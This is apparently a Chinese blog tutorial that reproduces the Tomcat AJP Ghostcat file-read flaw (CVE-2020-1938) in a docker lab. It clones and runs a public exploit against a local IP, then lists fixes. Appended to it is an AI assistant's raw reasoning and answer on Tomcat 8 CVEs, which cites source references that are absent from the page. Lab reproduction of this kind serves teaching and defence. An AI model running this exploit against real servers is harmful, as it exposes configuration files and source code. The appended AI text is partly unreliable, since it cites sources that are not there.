Apache Tomcat文件包含漏洞复现(详细教程)

1.漏洞原理

  Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目录下的任意文件。

2.漏洞概述与分析

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,他对应的配置为

<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为

<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443" />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Apache 服务器

(1)AJP是一个二进制的TCP传输协议。浏览器无法使用AJP,而是首先由Apache与Tomca进行AJP的通信,然后由Apache通过proxy_ajp模块进行反向代理,将其转换成 HTTP服务器再暴露给用户,允许用户进行访问。

(2)这样做的原因是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化。在某种程度上,AJP可以理解为HTTP的二进制版,因加快传输效率被广泛应用。实际情况是类似Apache这样有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以 AJP协议在生产环境中也很少被用到。

3.影响范围

Apache Tomcat 6

Tomcat 7系列  <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

4.搭建弱点环境

4.1 Ubuntu

4.2 更新资源update

4.3 安装docker

sudo apt-get update

sudo apt-get install docker

sudo apt-get install docker.io

sudo apt-get install docker-registry

sudo docker version

4.4 安装nmap

apt-get install nmap

4.5 安装Tomcat

docker search Tomcat-8.5.32

docker pull duonghuuphuc/tomcat-8.5.32

4.6 查看拉取的Tomcat镜像

docker images

4.7 启动镜像

Docker run -d -p 8080:8080 -p 8009:8009 --name

ghostcat duonghuuphuc/tomcat-8.5.32

docker port ghostcat

4.8 查看ip地址为192.168.86.129

ifconfig -a

4.9 浏览器可以访问Tomcat页面表示环境搭建成功

192.168.86.129:8080

5.漏洞复现

5.1

docker exec -it ghostcat /bin/bash

cd webapps/ROOT/

5.2 添加测试文件

echo ‘this is CVE-2020-1938’>test.txt

ls

cat test.txt

5.3

exp地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

ls

5.4

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

ls

chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

ls

5.5 利用exp读取该文件

./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129

测试读取成功

6.漏洞修复、防御方法

Apache Tomcat文件包含漏洞修复方式为更新高版本,目前Apache官方已发布9.0.31、8.5.51及7.0.100版本对此漏洞进行修复,如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost;若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。如下:

1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。

2、禁用或限制AJP协议。

编辑 /conf/server.xml,找到如下行:

<Connector port="8009"protocol=“AJP/1.3” redirectPort=“8443” />

将此行注释掉(也可删掉该行):

配置secret来设置AJP协议的认证凭证。

例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol=“AJP/1.3” redirectPort="8443"address=“YOUR_TOMCAT_IP_ADDRESS” secret=“YOUR_TOMCAT_AJP_SECRET”/>

3.配置访问控制:合理配置访问控制是防范漏洞的重要措施之一。通过配置适当的访问控制策略,可以限制对敏感文件的访问,并仅允许授权用户进行相关操作。

4.定期监测和更新:定期监测漏洞信息和安全公告,并及时更新相关软件和补丁,以确保系统的安全性和稳定性。

5.强化服务器安全性:除了针对特定漏洞采取措施外,还应加强整个服务器的安全性。例如,使用防火墙限制对服务器的访问、启用Web应用程序防火墙(WAF)、配置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。

<think>好的,我需要回答用户关于Tomcat 8的已知漏洞及修复方案的问题。首先,我要收集用户提供的引用内容,从中提取相关的漏洞信息。用户提供了四个引用,其中引用[1]和[2]提到了CVE-2020-1938漏洞,涉及AJP协议的安全问题。引用[2]还提到了弱口令和删除manger文件的修复方法。引用[3]提到另一个漏洞,但可能与Tomcat 8无关,需要确认。引用[4]是关于OpenSSL的,可能不相关。 接下来,我需要整理Tomcat 8的常见漏洞。除了用户提到的CVE-2020-1938,可能还有其他重要漏洞,比如CVE-2016-8735(JmxRemoteLifecycleListener反序列化漏洞)、CVE-2017-12615(PUT方法上传漏洞)等。需要确保这些漏洞Tomcat 8的版本中存在,并找到对应的修复方法。 然后,每个漏洞需要包括描述、影响版本、修复方法。例如,CVE-2020-1938需要关闭AJP服务或升级到安全版本。对于弱口令问题,需要建议设置强密码和删除不必要的管理界面。PUT方法漏洞则需要配置readonly参数为true。 需要注意用户提供的修复步骤是否正确,比如关闭AJP服务是否有效,或者是否需要升级到特定版本。例如,Tomcat 8.5.51修复了CVE-2020-1938,因此升级到该版本是推荐的。 还要检查是否有遗漏的漏洞,比如CVE-2020-9484(Session反序列化漏洞),影响Tomcat 8.5.0到8.5.54,修复方法是升级版本和配置Session存储。 最后,生成相关问题时要基于提到的漏洞,如漏洞原理、其他安全配置、升级注意事项等,确保问题相关且有参考价值。</think>### Tomcat 8 主要漏洞及修复方案 #### 1. **CVE-2020-1938(幽灵猫漏洞)** - **描述**:由于AJP协议设计缺陷,攻击者可读取或包含Web应用目录下的任意文件,甚至通过文件上传功能实现远程代码执行[^2][^1]。 - **影响版本**:Tomcat 8.5.0至8.5.50。 - **修复方法**: - 升级到安全版本(如8.5.51或更高)。 - 关闭AJP服务:在`conf/server.xml`中注释AJP Connector配置: ```xml <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> --> ``` #### 2. **弱口令与未授权访问** - **描述**:默认配置中管理界面(如`manager/html`)使用弱密码,可能导致未授权访问。 - **修复方法**: - 在`conf/tomcat-users.xml`中设置强密码: ```xml <user username="admin" password="强密码" roles="manager-gui" /> ``` - 删除`webapps`目录下的`manager`、`host-manager`等管理应用(若无需使用)。 #### 3. **CVE-2017-12615(PUT方法漏洞)** - **描述**:通过HTTP PUT方法上传恶意文件,可能导致服务器被控制。 - **影响版本**:Tomcat 8.5.0至8.5.19。 - **修复方法**: - 升级到8.5.20及以上版本。 - 在`conf/web.xml`中为`DefaultServlet`添加`readonly`参数: ```xml <init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param> ``` #### 4. **CVE-2016-8735(JmxRemote反序列化漏洞)** - **描述**:JmxRemoteLifecycleListener组件存在反序列化漏洞,可导致远程代码执行。 - **影响版本**:Tomcat 8.x(启用JMX远程监控时)。 - **修复方法**: - 升级到Tomcat 8.5.16或更高版本。 - 禁用JMX远程监控(通过移除`Listener`配置)。 #### 5. **CVE-2020-9484(Session反序列化漏洞)** - **描述**:不当配置的Session持久化存储可能导致反序列化攻击。 - **影响版本**:Tomcat 8.5.0至8.5.54。 - **修复方法**: - 升级到8.5.55及以上版本。 - 避免将Session存储在不安全的共享目录中。 --- ### 通用安全建议 1. **定期更新版本**:关注Apache Tomcat安全公告,及时升级到最新稳定版。 2. **最小化服务**:禁用不必要的协议(如AJP)和组件(如示例应用)。 3. **访问控制**:限制管理界面IP白名单,使用HTTPS加密通信。 4. **日志监控**:启用访问日志和错误日志,定期审计异常请求。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值